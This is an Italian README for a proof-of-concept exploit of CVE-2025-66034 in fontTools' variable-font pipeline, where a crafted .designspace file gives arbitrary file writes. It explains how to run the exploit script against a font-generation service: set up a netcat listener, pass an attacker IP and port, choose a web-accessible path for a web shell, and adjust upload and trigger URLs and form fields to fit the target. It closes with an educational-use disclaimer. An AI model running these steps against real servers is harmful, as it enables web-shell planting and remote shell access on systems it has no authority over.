
Exploit proof-of-concept per CVE-2025-66034 nella pipeline di generazione dei font variabili di fontTools. Un file .designspace appositamente realizzato consente di controllare il percorso di output, abilitando la scrittura arbitraria di file. Lo script automatizza la creazione del payload, la generazione dei font e il caricamento per dimostrare il problema.
Questa repository non introduce una nuova vulnerabilità.
Questo è un exploit Proof-of-concept per CVE-2025-66034 che interessa la pipeline di generazione di font variabili fontTools varLib.
La vulnerabilità consente agli attaccanti di controllare il nome del file di output all'interno di un file .designspace appositamente creato. Quando viene elaborato da un servizio di generazione di font vulnerabile, ciò può portare alla scrittura arbitraria di file sul filesystem del server.
Lo script varlib_cve_2025_66034.py automatizza la creazione del payload, la generazione dei font, l'upload e l'attivazione opzionale della shell.
nc automaticoPython 3.9+
Installa le dipendenze:
pip install fonttools requests
Netcat è richiesto per il listener, pertanto il seguente comando è necessario se utilizzi l'opzione --no-listen:
nc -lvnp <PORT_NUMBER>
Se il tuo target è un laboratorio self-hosted in esecuzione su mysite.com, e il percorso di upload, il percorso di scrittura sul filesystem e il percorso di attivazione accessibile via web corrispondono ai valori predefiniti nello script, puoi eseguirlo direttamente.
Utilizzo base:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
È molto probabile che il target utilizzi URL o percorsi filesystem diversi; sovrascrivi i valori predefiniti con le opzioni disponibili di seguito, come --url, --path e --trigger, oppure modifica lo script manualmente
Nota: i nomi dei campi del form multipart possono variare a seconda dell'ambiente. Se il target non utilizza gli stessi nomi di campo del form dello script, modificali nella sezione files prima di eseguire l'exploit.
| Argomento | Descrizione |
|---|---|
--ip | IP del listener dell'attaccante |
--port | Porta del listener |
--path | Percorso filesystem di destinazione in cui verrà scritto il file (deve essere accessibile via web per attivare una web shell) |
--url | Endpoint di upload, il form può variare |
--trigger | URL di base utilizzato per attivare il payload scritto dopo l'upload |
--no-listen | Disabilita il listener netcat automatico |
Esempio con opzioni personalizzate:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace dannosoUn ringraziamento speciale e rispetto a:
Questa proof-of-concept è fornita a scopo educativo e di ricerca per aiutare a comprendere la vulnerabilità e il suo impatto.
Questo codice è fornito solo a scopo educativo e di ricerca.
Non utilizzare questo exploit contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare.
L'autore non è responsabile per usi impropri o danni causati da questo software.